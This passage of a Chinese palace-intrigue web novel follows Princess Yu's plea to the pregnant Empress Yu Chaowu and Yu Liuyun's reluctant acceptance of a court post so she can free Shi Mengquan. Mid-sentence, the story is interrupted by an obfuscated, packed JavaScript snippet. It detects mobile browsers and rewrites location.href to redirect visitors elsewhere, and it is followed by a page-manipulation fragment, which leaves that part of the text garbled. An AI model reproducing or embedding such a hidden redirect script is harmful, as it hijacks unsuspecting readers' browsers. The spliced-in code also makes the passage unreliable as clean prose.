愉郡主一愣,双颊绯红:“父王居然也取笑人家!一把年纪了居然和哥哥一样没正形!永远都不理您了!” 说时,走到自己的轿子跟前——娇荇正在那儿侯着。“我们走!我们走!”她嚷嚷着,钻进轿子去。 悦敏摇摇头,笑道:“你生气归生气,可仔细想清楚该上哪儿去呀!” 愉郡主不搭理,催促轿夫“快走”,小轿顷刻就转够了街角去。 悦敏望着,问父亲:“您看小愉她……” 赵王负着手呵呵一笑:“你这个妹妹的脾气,你难道还不清楚?” “不错。”悦敏应着,神色突然变得有些怅惘,“她是真是很喜欢石梦泉啊。” 赵王道:“那又如何?石梦泉一表人才,我也很想他做我的女婿。” 悦敏幽幽地叹了口气:“当初您也是这样说博西勒的。” 赵王扭头瞥了儿子一眼:“我的确这样说过。你是真心喜欢博西勒吗?” 悦敏没有回答。 赵王便接着道:“不过让博西勒进宫可不是为父提出来的。” 悦敏怔怔,片刻,忽然牵动嘴角,似哭又似笑:“当然不是您提出来的。是我叫她去的。不,是她自己说要去的。她了解我。她知道我跟父王是一样的人。” 这次换赵王无言地怔了一刻,既而似笑非笑地道:“是么?那很好。跟蓝大人的事还没商量完呢,我们回去吧。” 悦敏点了点头:“父王,禁军闹事,这……” 赵王道:“回去我再同你说。” 两人即各自上了轿,回王府去。 愉郡主听了父亲和哥哥的话领了娇荇进宫来。她这一年来是太后跟前的常客,不需要召见也能进皇宫,没花多大工夫就到了凤藻宫的跟前。娇荇出主意道:“奴婢看,不如还是去见太后,她老人家说话应该比皇后顶用。” 愉郡主想了想,道:“虽然有道理,不过,父王和哥哥都叫我来见皇后娘娘。他们两个办事有经验得很。这是大事,我可不敢瞎胡闹。” 娇荇一怔,吐了吐舌头:“您可真是……为了石将军整个儿变个一个人哪!” 愉郡主横了她一眼:“要你管?快进去吧!” 说时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728608|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前头领路的太监已经通传了,凤藻宫里有人迎了出来,是个大宫女,一点儿也不像主子失了宠的样子,满面春风,笑道:“今儿真是巧了,各家大小主子们都来齐了。奴婢给郡主请安。” 愉郡主愣了愣:“还有谁来了?” “那可真多了!”大宫女道,“太后娘娘来了,带着各宫的主子们,长公主,大长公主……哎呀,恐怕明日各家王妃也会来呢。” 愉郡主丈二和尚摸不着头脑:“这是为了什么呀?” 大宫女嘻嘻一笑:“哟,这事儿,还是等您进去了自个儿问吧,奴婢这身份还够不上向您通报这喜事呢!” 愉郡主现在满心能想的喜事就是自己和石梦泉的婚姻,不过看来凤藻宫里的喜事另有原因。赵王可没教给她当着这么过妃嫔的面要怎么开口向皇后哭诉石梦泉被冤枉的事。只不过,既然已经到了门口,就不能回头了。她只好深深吸了口气,领着娇荇走进凤藻宫内。 一入正殿,浓烈的胭脂香粉气立刻扑面而来——玉朝雾皇后是不好此道的,但是宫里的其他妃嫔为求皇上恩宠在梳妆打扮上都花尽了心思,玫瑰花香,玉兰花香,牡丹花香混杂在一处,愉郡主差点儿没被熏昏了头。再抬眼一看,刚掌灯,本来室内并不甚明亮,但光鲜的衣裙和璀璨的首饰交相辉映,立刻就满室生辉,让人的眼睛都要花了。 愉郡主就在门前呆了呆。 “小愉也来了!”是太后的声音,“出门一趟想是追着你的如意郎君了?这就变得扭捏起来?” 愉郡主脸一红:“小愉给太后老祖宗请安。” 太后叫她免礼,赐了座,道:“你也不用不好意思。她们这些年轻人每次议论你,我老太婆都出来责备她们——咱们大樾国可不似楚国,有那么多没用的规矩。太祖皇帝是马背上打下来的江山,太宗在世的时候,亲贵小姐还可以比武招亲哪。怎么现在就一年年朝楚国那规矩靠上去了?这可不成。” 众妃嫔听了都笑。愉郡主也不知太后是当真还是调侃自己,嘟着嘴不作声。脸一偏,看见玉朝雾皇后了,面色苍白眉头微蹙,似忧似喜,或者是忧喜交加,被这样一屋子五彩缤纷衬托,叫人不能不生出一种要好好照顾她的冲动。 正想向她也问安,却猛地又瞥见太后身边立着的另一个妃嫔了——面生得很,高鼻深目,肤白如雪,并不像樾国人。看来这就是那个从皇后身边夺走了庆澜帝的蛮族女人,愉郡主想,果然长得很漂亮。 太后道:“光顾着跟小愉说笑,倒忘了叫你来给皇后道喜——皇后如今怀了龙裔,可真是祖宗保佑。” “真的?”愉郡主开心得一下从椅子上跳了起来,“我母妃可没跟我说呢!恭喜皇后娘娘!” 玉朝雾皇后淡淡地一笑,依然有掩饰不住地愁绪。 太后道:“你这个傻孩子,老太婆我都是一个时辰前才知道。你母妃那里还没传过消息去呢。” 愉郡主笑道:“那好,那好,我回家就跟母妃说。” 太后道:“你说归说,不过不要叫你母妃招了全班亲贵女眷都进宫来。皇后现在不需要你们陪着解闷。她需要好好休养安胎。” 愉郡主道:“哦,我晓得了。” 太后又道:“这话我不是说给小愉一个人听的,你们也一样。”她平常似乎总在微笑的眼睛突然变得严厉起来,目光扫过殿中每一个妃嫔的脸,在蛮族贵妃的身上有意无意多停留了片刻,接着又道:“你们不要以为皇后身子重了不能服侍皇上,你们就一个个都想翻天。我老太婆一天不蹬腿儿,就一天还能在这后宫里说上话。谁要是给皇后找心烦,找气受,我老太婆的龙头拐棍可不认得你是贵人还是贵妃。用什么狐媚子手段想叫皇上给你们撑腰的,我劝你们因为趁早打消了这念头。我这拐棍见了皇上也是照打的。都听明白了没有?” 妃嫔们纷纷回答:“听明白了,老祖宗。奴才们不敢做僭越之事。”说时,个个都把眼去瞟那蛮族贵妃,有人面上禁不住露出了幸灾乐祸的笑容。而那蛮族女人却好像语言不通似的,自站着,没有一丝恼火。 太后扭头叫她:“容贵妃,你听明白了吗?这中原话……” “回老祖宗,”蛮族的容贵妃道,“臣妾听明白了。”竟说得字正腔圆。 太后不可察觉地冷笑了一声,既而又换上了惯常的和蔼面容:“皇上已经知道了吧?” “回老祖宗的话,”玉朝雾皇后道,“太医去禀报了。” “那皇上怎么还没来?”太后问。 “这……”玉朝雾面容惨淡,“皇上大概很忙吧。” “这时候还忙什么呢?”太后皱了皱眉头,“回头我亲自叫他过来……马上是万寿节了,皇后你又怀了龙裔,这是双喜临门的好事,应该让大臣合计合计,是不是该大赦天下,或者加开恩科。一会皇上过来,你要跟他提一提。” “是。”玉朝雾答应着。 “你有身子的人,要多开心才是。”太后道,“你好好休息。我就找人提醒他去。” 玉朝雾连忙垂头感谢。 太后拿起茶杯,欲喝却又放下了:“时辰也不早了,不耽误你休息——大伙儿都走吧。”说时,她自己已下了榻。玉朝雾连忙也起身要行礼送别,但被太后拦住了:“你不用行礼,肃一肃就好了。咱们走。” 她打头,妃嫔和公主们一个跟一个,向皇后跪安,也就退了出去。愉郡主跟在队伍的最后,心想她父王和哥哥可真是神了,竟然知道皇后有了身孕得到太后的荫庇,地位较向日更加巩固。这时候找皇后去说情一定一说一个准! 于是,她走到了凤藻宫门口,又转了回来。石氏和王氏正要将皇后扶到里间去,见了她,诧异道:“郡主落了什么东西么?” 愉郡主早听她母亲说了,石梦泉的母亲和姑姑在皇后跟前当差,这么说来此间就没有外人了。她当即扑通给玉朝雾跪下了,道:“皇后娘娘,您可一定替小愉做主!” 玉朝雾一怔:“这是做什么?还不起来?王嬷嬷,快去扶她。” 愉郡主听这女官姓王,即知是石梦泉的母亲,越发不肯起来了,道:“王嬷嬷,您也一起来求皇后娘娘,要是她不肯帮忙,石梦泉就……” 王氏中午才跟儿子见过面,怎么料到一时之间能生出变故来?她晓得这郡主对石梦泉着了迷,死心塌地要做自己的儿媳妇。如今见了小姑娘这副表情,她知道儿子必然是出了大事,心里着了慌:“梦泉他怎么了?” 愉郡主也不起身,就跪着把她所知道的事情经过大略说了一回。王氏、石氏和玉朝雾都惊讶万分:“这怎么可能是石梦泉做的?潘大人也算是同他共过事,难道还不了解他的为人么?” 愉郡主愤愤道:“那个九门提督简直是木头脑袋铁石心肠。我父王跟他说了好些好话,他才准父王跟石梦泉见一面。竟不准我进去。他现在好像要把石梦泉给押到大牢里去呢!父王叫我来求皇后娘娘,请您一定要跟皇上说明这其中的冤屈,还人家一个清白。” “这……”玉朝雾蹙着眉头,“究竟是什么人要陷害梦泉?” 愉郡主道:“我也不晓得——要被我知道,我拿剑在他身上捅上十七八个窟窿。” 明枪易躲,暗箭难防,玉朝雾急得面色惨白。 石氏忙让她在榻上靠着,安慰道:“皇后娘娘莫急,太后不是叫人找皇上去了么?兴许一会儿皇上就来了。” 玉朝雾直摇头:“云儿已经是这样……梦泉又出了事……万一皇上到容贵妃那里去呢?不行,我要去见皇上!” 王氏、石氏既担心石梦泉的安危,又不放心玉朝雾的身体,扶也不是,拦也不是。 愉郡主看玉朝雾仿佛要晕倒的样子,害怕人没救着,倒又闯出祸来,忙道:“皇后娘娘别担心。我自己去求皇上好了。” “不行。”玉朝雾依然摇头,“这事怕不是单单哀求,皇上就会答应的。我寻思云儿在大青河的失利让皇上很是生气……唉,我也有好些话想要问皇上……要问个明白……” 愉郡主听她这样说,便道:“那我陪娘娘去吧。大青河的事……我……我也给石梦泉添了好些麻烦。我去跟皇上说,要怪就怪我,要罚也就罚我,跟石梦泉可一点儿关系也没有。”她是“说风就是雨”的性格,话还没说完,已经走到了玉朝雾的跟前,要来搀扶她,又对石氏道:“嬷嬷,还不叫人备凤辇?” “不,”玉朝雾推开她的手,“小愉你的好意我心领了。不过,这不关你的事,也不关梦泉的事。这是……这是我和云儿……玉将军的事。你帮不上忙的,不过白白牵连在其中而已。” 愉郡主不解:“娘娘说什么?” 玉朝雾吩咐石氏:“叫人准备轿子。”复又对愉郡主道:“好姑娘,这事你也不必知道。我总会向皇上讨一个说法。王嬷嬷、石嬷嬷,我一定不会让梦泉出事的。” 王、石二位妇人都在玉朝雾身边伺候了多年,知这位善良的皇后待她们有如自家亲人。但听她如此说话,还是感动得热泪盈眶。王氏道:“娘娘待奴婢们恩重如山。梦泉这孩子命贱。出不了什么大事。娘娘不要特特为他操心。保重身体,安心养胎为上。”石氏跟着道:“不错。奴婢看,倒是玉将军有一股子宁折不弯的傲气,长久这么被万岁爷禁足,恐怕郁闷出毛病来。一会皇上来了,趁着双喜临门,娘娘就替玉将军求个恩典吧。” “你们不明白……不明白的……”玉朝雾喃喃,“石嬷嬷快叫他们备轿。王嬷嬷你送愉郡主出去。小愉你要听话。若是今夜我不能求得皇上回心转意,那还就只能靠赵王爷帮忙了。” 愉郡主越来越莫名其妙——玉朝雾这话竟说得仿佛是一个人决心赴死时交代的遗言,哪里像一个新怀了身孕的女子要去向丈夫报喜?她讷讷的:“皇后娘娘……您……您说的什么呀?小愉听着心里直发毛。什么回心转意的?皇上原来有什么心意?难道要……” 生怕她说出不吉利的话来,王氏连忙打断:“郡主别再问了,娘娘自然有娘娘的法子。奴婢送您出去吧。”三言两语,把愉郡主和娇荇都送出了凤藻宫。 两个姑娘四目相对:这事怎么就这样蹊跷呢? 娇荇道:“郡主,依奴婢看,您还是去求太后娘娘吧。皇后不晓得是心里有什么事,古怪得紧。” 愉郡主挠挠头:“这时候找太后娘娘……”她一跺脚:“不管了。我不管那么多了。我就直接找皇上去。看皇后娘娘风一吹就倒的样子,还不得什么时候才出门呢。就算她出了门到了御书房,还没说三句话我看她就要哭出来了,不如我自己去求皇上。皇上不就是生玉旒云的气么?关石梦泉什么事?我就去找他说!”一叠声地嚷嚷,便催那领路的小太监带她们上御书房去。 小太监知道愉郡主是个大活宝,可惹不得,赶忙答应。可是三人才要抬脚,就听宫门外报道:“皇上驾到!”话音还未落下,已看到打头的灯笼了。 小太监忙领着愉郡主主仆朝路边回避行礼。跪还没跪稳,便见庆澜帝大踏步地走了进来。暮春是夜已经不再寒冷,他只披了件平常的披风,下面天青团龙袍子,与那满面红光相互衬托着,显出无限的欢喜之气。后面有人抬着步辇追赶,直喊:“慢些!万岁爷!慢些!” 庆澜帝可不听,一径朝正殿里走,连招手让愉郡主和其他的太监宫女平身的空闲都没有,到了正殿的台阶上,就高声嚷道:“皇后!皇后!快来看看朕给太子取的名字!” 殿内的太监宫女纷纷迎出来,“万岁”之呼声不止。大概玉朝雾皇后也要出迎行礼了,庆澜帝老远瞧见,就呼道:“皇后坐着休息,可不要亏待了朕的好儿子!哈哈,朕可真是开心得昏了头了!” 愉郡主看着他走进正殿去,跟娇荇互望了一眼。 “主子,”娇荇道,“你看皇上多开心呀?皇后娘娘一开口,什么都能答应呢!” 愉郡主自己心里也这样觉得,不过还是不放心:“我要跟去看看。”说着,拔脚就走。 娇荇拉住了:“好主子,你这就是不识相啦——人家夫妻俩开心,才什么事都能说得成,你去了成什么话?依奴婢看,王爷交代您办的事是办好了。这会云开雾散,您该好好在家里筹划筹划怎么给石将军摆个筵席洗洗衙门里的晦气。” “是么?”愉郡主咬着嘴唇想了想:自己的确是个“越帮越忙”的人,方才是见玉朝雾虚弱不堪,才冲动着要自己去找皇上,这时庆澜帝满面春风的来了,那自己还能干什么么?不如回家去,要是宫里有什么变故,也好叫赵王出马来摆平。 她当下点了点头:“那好,我们走。” 28. 第 28 章 二更鼓响之后,守在玉旒云的公爵府邸前的禁军开始交班换岗。这时蒋文看见远远的有灯笼的光,一队人越行越近了。其时早已过了宵禁时间,百姓是不会出门,莫非来者不善?禁军士兵们也都看见了,纷纷拔出兵器。蒋文就冲那边喊道:“什么人?快快停下!” 可那队人只是不停,不多时就走到了跟前。是一乘紫帘小轿。蒋文刚要上前喊话,提灯笼的就一眼横过来:“放肆,这是皇后娘娘凤驾到了,还不让路。”声音阴阳怪气,果然是太监。 蒋文一惊,轿帘儿已经揭开一条缝,里面当真坐着玉朝雾。一众禁军赶忙倒身要拜。玉朝雾道:“不要多礼了。我来见玉将军,不想声张。” 蒋文面有难色:“这……万岁爷交代了……微臣……” “石嬷嬷,给他看。”玉朝雾道。 另一个提灯笼的原来是石氏,也打扮成个老年男仆的模样,听吩咐,即递上一方明黄色的丝帛,上面朱红色字迹,显然是御笔。蒋文瞪大了眼睛:不知皇上是何用意?不过,君臣之间,轮不到他问这所以然,一顿首,立刻就让禁军士兵们让开路。玉朝雾一行就进了玉旒云府。 仆人们因为多日被圈禁没有太多事要忙,早就歇下了,只有门房睡眼惺忪地迎上来,见了皇后,先是吓了一跳,既而“扑通”跪道:“皇后娘娘在上,奴才……” 玉朝雾摆摆手:“你家玉将军在哪里?” 门房道:“将军这些日子喜欢自己一个人呆在后园。小的这就给娘娘带路。” 玉朝雾说“不必了”也不叫太监,连石氏也不让陪伴,就自己朝后园来。 玉旒云自去年封了公爵,府邸已经修葺括建,不过后园还是从前的,没有改动。这里本是庆澜帝未登基时的一处别苑,玉旒云十八岁的时候坚持要离开姐姐、姐夫独自居住,当时的庆王就将这处宅院送给了她。玉朝雾起先总担心妹妹不会照顾自己,常来嘘寒问暖。可后来发现玉旒云将一切都处理得井井有条,自己没有用武之地。有时侯门寂寞,她只好随便找些消遣——比方说这花园地上鹅卵石砌成的图案就是她想出来的。一晃已经六年过去了!鹅卵石还是那个样子,而玉旒云呢? 花木扶疏,一勾残月,清辉却不输十五之时,后园中的景物如同被镀了一层水银,发出淡淡的幽光。这一切显得宁谧,而有一线光迅速地扫过,凛冽刺目,暮春的天气也有一股寒意扑面而来——玉旒云持着一柄剑。舞出万朵雪花,笼罩了自己的全身。 六年了,她长高了一截,可这杀意,这怨气,丝毫没有改变。遥远记忆里偎依在自己身边的小女孩,早就一去不复返。 “谁?”玉旒云一剑刺了过来。剑锋锐利无比,立时将一株花树削断。不过她剑法娴熟,招式收放自如,看到玉朝雾,立刻一翻腕子,将利器荡了开去,自己轻灵灵一跃,到了跟前:“姐姐,你怎么来了?” 不待玉朝雾回答,她已收剑归鞘,笑道:“不用说了。皇上让你来的吧?” 玉朝雾凝视着妹妹漆黑的眸子,那样锋利的眼神!这孩子,她可以看穿别人的心,然而又似乎根本不屑去探询别人的心思,她只是按照自己的意志行事,遇到山,就要劈山而过,遇到水,就要架桥而行,她决不饶弯路。这种性格,难道她不知道会给自己带来麻烦吗? 玉朝雾就叹了口气,点点头。 玉旒云略沉吟了片刻,上前搀着她的胳膊:“走,同我到里面坐。”又要唤下人赶紧上茶。 玉朝雾止住了妹妹:“不,我想跟你说说话,不能叫别人听到。” 玉旒云扭头看了看姐姐,眼里并没有一丝惊讶,反而轻轻地一笑,自己走开了几步,负着手,道:“皇上的气还没消吧?要不然怎么姐姐会怎么半夜里跑到我这里来了?这事果然越少人知道越好,皇上如此法外开恩,准姐姐来看我,要叫那些小人们知道了,又该有话说了!” 玉朝雾追上妹妹:“云儿,你明知有许多小人,那就该好好照顾自己。姐姐就只有你这一个亲人,你要是有个三长两短,叫我怎么向死去的爹娘交代?” 玉旒云沉默不语,随手拽下身边的一支花来,一片一片拈着花瓣。 玉朝雾道:“从你第一次随军出征,姐姐就成天提心吊胆。怕你听了烦乱,都不跟你提。这次大青河之战,西京里简直就没听到过好消息,姐姐日盼夜盼,好容易盼到你好端端地回来,却又惹上了这些麻烦。” 玉旒云淡淡一笑,将花瓣撒落在地:“姐姐不要挂心。我哪次出征不是好端端地回来?再说,这次的事也算不得什么麻烦。我自己心里明白得很——皇上性子随和,私用贡品这种事,若他会计较,我当初也不敢就这么做了。我是一个带兵打仗的人,这些后果还能不计算到么?” 她口里这样安慰玉朝雾,心里却全然另一番想法:就算皇上大发雷霆要降罪于自己,当初石梦泉情况危急,哪怕就是贡品在皇上碗里,她也会抢来用的。先救了石梦泉,才能考虑将来的后果——因为没有石梦泉,她不知道将来是个什么样子。 这种话总不能和姐姐说,她想,徒然惹人担心罢了。反正庆澜帝身边的武将们老的老,死的死,剩下的大多是草包,除了她以外,还有谁能征伐天下?庆澜帝是不会当真怪罪于她的,无非是事情闹出来的,不摆摆样子说不过去罢了。 玉朝雾看不见妹妹的表情。不过,多年来相依为命,玉旒云的性子她明白得很。便幽幽叹了口气:“你就当是姐姐没有用,只会庸人自扰吧!皇上的确不打算再追究你了,明日就要宣布呢。” “哦?”玉旒云有些意外,“怎么偏偏是明天?有什么特别之事?” 玉朝雾垂下头,月色般白皙的脸上染了一层浅浅的红晕:“那是因为……因为……”声音轻得几乎听不见了:“因为我有了。” “啊?”玉旒云一怔,露出了孩子气的喜色,“哎呀呀,这么大的事,你怎么不一进门就说?跟我扯东扯西了这么半天!来,快进屋坐着。” 她拉着玉朝雾的手,半扶半拽,硬将姐姐护送进了花园里的一间小筑之中,捻亮了灯,仔细看她有什么变化。玉朝雾羞得转身背朝着妹妹:“别看了,才一个多月,看不出来的。” 玉旒云只是笑,并不说话。感觉长久以来,难得有一件值得开心的事。 玉朝雾实在窘极了,转回身来轻啐道:“还说自己是带兵打仗的人,这样就傻了,跟个小孩子没两样!” 玉旒云才回过神来,在姐姐面前耍耍贫嘴也无妨:“莫非姐姐倒希望我在你面前也是板起面孔来的惊雷将军么?战场那些打打杀杀的,不吓坏姐姐,也吓坏了我的外甥。” 玉朝雾红着脸啐了她一口,可蓦地又被不安和忧愁占据:“云儿,就算是为了姐姐,为了这个孩子,你……你不要再去打仗了,好不好?“ 玉旒云一愕:“姐姐,你说什么?” 玉朝雾道:“你毕竟是女孩子家。虽然过去一直都是常胜将军,但这一次……谁知道将来会怎样?如果有个万一……有个万一……刀剑无眼,这都是说不准的事啊!” 玉旒云沉下了脸,默默地,仿佛是在听,又仿佛没有。 玉朝雾便轻轻地继续说下去。总无非是那几句话——安全,安全,还是安全。直过了好半晌,咬了咬嘴唇,如同想起一般地,道:“无论如何,云儿你别忘记,我们都是楚人。和楚国交战,总难免……” 这次,玉旒云猛地抬起了眼,盯着她:“我不是楚人。” 充满怨毒的眼神,任是玉朝雾也瑟缩了一下:“这……我知道……但我们打楚国来,太后、太妃们都知道这事,也许年月久了,不再提起罢了……皇上心里也是清楚的。你跟楚国交战失利,你说皇上会怎么想?” 玉旒云蹙起眉头:“姐姐,你老实说,这是你的意思,还是皇上的意思?” 玉朝雾呆了呆,嗫嚅道:“本……本是我的意思……我问了皇上,他并没有这么说……不,他其实是说,他连想都没有想过。只是,世上没有不透风的墙,皇上也怕传出去,朝廷里沸沸扬扬,到时候他也就保不了你。” 玉旒云冷冷一笑:“这次反正是不计较了,难道我还会给楚人再次击败我的机会吗?待我攻下凉城,他们爱怎么传就怎么传去吧!” 玉朝雾被她堵得一愣,片刻才道:“皇上和我也都是为了你好。皇上今天也同我说了,你一个女孩子家,老这么在外面征战,总……总不是个事儿……倒不如……” 玉旒云勃然变色:“倒不如怎样?要是再提翼王那个王八蛋,趁早想也别想。” 玉朝雾怔了怔,摇头道:“你想到哪里去了。皇上是说,假如你喜欢领兵,就做个领侍卫内大臣好了——这个职位空缺好久了,是个正一品的衔儿,比将军倒还升了一级。该到你当班才需进宫,可以留在京城,也少些操劳……” 玉旒云倏地站了起来,几乎连灯台也带翻了:“什么?皇上这是要削我的兵权么?” 玉朝雾不曾见过妹妹这么难看的脸色,一时竟连话也说不出来,愣了半天,方道:“领禁军还不一样的领兵……大青河的事,皇上不想处罚你,但总得给文武百官有个交代吧……” 玉旒云一直自持庆澜帝在大事上离不开自己,得到这种明升暗降的处置,真是又气又恼,铁青着脸:“这是什么交代?若真是和我计较大青河的事,就拿我革职查办,发我到军中做火夫做马夫,我都没有半句怨言。要我呆在西京做这牢什子的领侍卫内大臣,我死也不干!” 玉朝雾知道妹妹脾气倔强,眼看着事情就要谈僵,心里一急,眼泪就落了下来:“皇上对我们姐妹已经很好了。你要攻打楚国,他就让你带兵去了。这要是换了别人,皇上能把国家大事当成儿戏么!” “儿戏?”玉旒云冷笑,“朝廷又不是我的天下。似乎我还没出生——不,姐姐你还没出生的时候,樾楚两国就在交战了吧?朝廷中若没有一个想消灭楚国的人,我就算有三寸不烂之舌,说服得了皇上也说服不了满朝文武……发兵的时候没人阻拦——连刘子飞和吕异都满口答应做后援,但是看到情形不妙就推三阻四,为的还不是出了事情就统统甩个干净?这些无能的人,皇上要给他们什么交代!” 玉朝雾意识到自己说错了话,恐怕妹妹真的怒了,一发难劝,轻声道:“那……既然他们都想攻打楚国,就让他们打去……何必要你自己以身犯险?” 玉旒云铁青的脸上满是寒霜:“不行!” 简简单单的两个字,也不见她怎样咬牙切齿,但连外面的月色似乎都被震慑了,为之一暗。 玉朝雾知道,这后面还有一句未说的话“我非得亲手灭了楚国不可”。玉旒云几乎就是默诵着这句话长大的。“云儿,我知道你恨……恨他们,可是事情已经过去这么多年了,爹娘都不能复生,皇上对姐姐这样好……我们在樾国的生活不是很好吗?” “很好?”玉旒云又冷笑了起来,好像一柄利剑呛然出鞘,在黑暗中发出噬骨的光芒,“侥幸没杀成你,我们才能活到今日吧?自从……自从爹死了之后我就不知道什么叫‘生活很好’了!这一切都是他们做的,我非叫他们加倍偿还不可!” 玉朝雾被刺得有好一会儿没说出话来。玉旒云看到桌上有一把裁纸的小刀,就拿着把玩不止。 玉朝雾伸手按住那利刃,生恐妹妹割伤了自己:“云儿,就随他们去吧。我听说元酆帝身边没有什么能做事的人,他年纪也大了,你真要找他报仇,就让老天来给你报吧。“ 没人?玉旒云冷哼了一声,若是没有人,这次大青河之战怎么会是如此结局?这个程亦风,他手下的公孙天成,还不不晓得哪里冒出来的那群山贼土匪……这些事情不提也罢,她想,姐姐就是心太好,才这样被人欺负。从前自己年幼,只有跟着被欺负的份儿,如今…… 如今庆澜帝要削她的兵权……这和她所了解的皇上差太远了! 她只顾自己思想,沉默着没说话。 玉朝雾拉着妹妹的手:“云儿你别不声响。你好歹应一应我。” “你回去吧,姐姐。”玉旒云想赌上一赌,试探试探庆澜帝的意思,“就同皇上说,这领侍卫内大臣的官我绝对不当。他若要继续罚我,那就继续罚我好了。” “云儿!”玉朝雾急道,“你受罚,姐姐虽然挂念你,但你毕竟是好好儿地在家里休息。可是,你这样拖累了梦泉啊!” “怎么?”玉旒云的心一沉,转脸望着姐姐,“梦泉出事了?他不是昨天才回来么?” 玉朝雾道:“说是你的一群旧部气不过顾长风顾侍郎奏本参劾你,就在顾家门外闹事,听说把顾侍郎都打伤了。梦泉恰巧撞见,却被九门提督潘大人当成是主使之人,押回衙门里去了。” “岂有此理!”玉旒云一拍桌子,“潘硕的面子是铁做的,头脑总不是铁做的吧?梦泉怎么可能做出这种事来?而我的部下……我的部下也……”也决不可能做此等卤莽冲动之事,玉旒云想,素来军中纪律第一,若无命令,哪怕泰山压顶也不允许随便眨一下眼。这必然是有什么人想落井下石,让她永不翻身。 可恶!她不觉捏紧了拳头。 “姐姐不懂你们在朝廷上的事,”玉朝雾道,“皇上也是不得已才委屈你……但是事情一桩接一桩的发生,件件都对你不利。要不是我突然……我真怕这煽动士兵闹事的罪名又落到你头上,那你叫皇上还怎么袒护你呢?” 袒护……玉旒云咬着嘴唇细想:她不是不知道自己树敌如林,什么刘子飞、吕异之流的草包饭桶,她根本不屑与之为伍——甚至,这些人也不配做她的对手,他们那点儿能耐,还算计不到她!这次的事情倒是有点儿蹊跷——那株西瑶的灵芝,本来她已写了一封信准备向庆澜帝解释,不过信还没有发出,西瑶使者和那托管的掌柜也不曾来找她理论,事情就已经传到了庆澜帝的耳中,加上大青河战事失利和顾长风上疏参劾,三罪并罚,庆澜帝下旨将她招回西京。她起先想,莫非是顾长风这死脑筋的书生想要整垮自己?那么禁足惩罚就禁足惩罚吧,顾长风脾气虽叫人讨厌,倒是个人才,总要叫他知道,自己是个是非分明的人——是自己的功劳就不推却,是自己的过失也不否认,天长日久,总有收服这书生的时候。 不过,让禁军去闹事,虽然可算是一种“苦肉计”,但这等卑鄙伎俩太不像是顾长风的所为了。而且顾长风怎么煽动得了禁军呢? 背后的奸险小人是谁?她一步一步地落入那人的罗网中,再不可坐以待毙。 “姐姐,叫我当领侍卫内大臣这件事,皇上有没有说是谁向他提议的?” 玉朝雾听妹妹的口气有些松动了,忙道:“皇上可没有说,我想总是他自己想要找个法子既封住大臣门的口又不让你受委屈……但也许别人也出了主意,我这些日子没怎么见皇上。” 没怎么见皇上?玉旒云知道姐姐宠冠六宫,一个月中庆澜帝总有一半的时间是谁的牌子也不翻,长住在凤藻宫的,这次怎么…… 玉朝雾注意到妹妹表情的变化,忙解释:“你别多心,并不是皇上为了你的事情迁怒我。是宫里新来的容贵妃,才貌双全,皇上很喜欢她,常要上她那里去看她表演歌舞。” “容贵妃?”玉旒云皱了皱眉头。 玉朝雾道:“哦,上次我们见面匆忙,没跟你提。她是蛮族人的公主,叫‘博西勒’,我听皇上说那是‘琥珀’的意思。因为赵王爷击败了她父亲的部落,他父亲向我朝投降,就将她献给皇上了。” 原来是这样。玉旒云点了点头,摇曳的灯火在她脸上显出奇妙的光影,似乎陷入了无限的深思,又似乎是闪出一丝冷笑:赵王…… “云儿?”玉朝雾轻轻唤她,“你究竟怎么回复皇上?就算是姐姐求你……” “姐姐!”玉旒云微微一笑,“我怎么舍得让你求我——还有小外甥呢!我刚才随便发两句牢骚,你可别往心里去。自古只有君要臣死臣不得不死,既然皇上要升我的官,我哪有推辞的道理?明天一早我就去见皇上。” “真的?”玉朝雾万分欣喜。 玉旒云道:“我几时骗过姐姐?明天皇上总该叫门口的人都撤了吧?” 玉朝雾道:“我也不知皇上是什么打算。他嘱咐我一定不要声张,在他明天宣布我有……和你升迁的事之前,越少人知道越好。” “哦。”玉旒云点头,显得全不在意,但其实心里涌动起一种不可名状的兴奋。她的一个猜测,正在一点一点被证明。 “这是皇上给你的出门手令。”玉朝雾取出一个小小的黄绫卷轴,另有一个石青色锦囊,“这也是皇上给你的。他说若你答应做领侍卫内大臣,就把这两样交给你。我倒没看是什么。” 玉旒云接过了,一笑:“皇上倒是算准了我一定会答应。” 玉朝雾道:“皇上也是看着你长大的。” “倒也是。”玉旒云道,“姐姐,天晚了,你快回宫吧。” 九门提督衙门护卫京畿安全,警卫森严。步军士兵在门前站岗,非但不敢打盹儿,连身子都不敢斜一斜,若看到有闲杂人等靠近,就会沉声一喝:“什么人?” 这一夜,他们还没来得及叫,那一人一马已驰到了近前。马上人飞身而下,冷冷道:“潘硕还在衙门里么?” 两个步军士兵俱是一惊:“哎呀,玉……玉将军……” 玉旒云只将马缰绳交到其中一人的手上,重复问道:“潘硕在衙门里么?” 那人赶紧答道:“在……潘大人和石将军……” 玉旒云二话不说,踏步就往九门提督衙门里走。 那两名步军士兵慌忙来阻拦:“玉将军……等我们先通报一声……这是……”将军乃是武京外官,九门提督乃是武京内官,除了非常情况,内外应当各司其职。九门提督衙门岂容擅闯。 玉旒云并不停步,只从腰间摘下一片令牌来晃了晃:“长眼看清楚了,我现在是领侍卫内大臣,今夜正是本大臣当值,有要事来找你们潘大人商议。你们且给我在门口站岗,走漏一点儿风声,仔细你们的脑袋!” 两名步军都是一怔。这当儿,玉旒云已经走到前庭中去了。又有不少步军士兵听到动静就围了上来。不过领侍卫内大臣的腰牌大家都认识——虽然这个职位因为太宗和仁宗朝的动荡空缺了很久,但武京内官依然以领侍卫内大臣为最大,他们的行动往往牵涉到皇上的安全,谁也不敢阻拦耽搁。 便纷纷给玉旒以内让开了道儿,还有给她指路的,一径领到了关押石梦泉的那间屋子之前——潘硕一丝不苟,正亲自守着门,看到了玉旒云,一惊:“玉将军……” 玉旒云将腰牌朝他面前一送:“快把石梦泉放了,皇上有旨叫他进宫议事。” 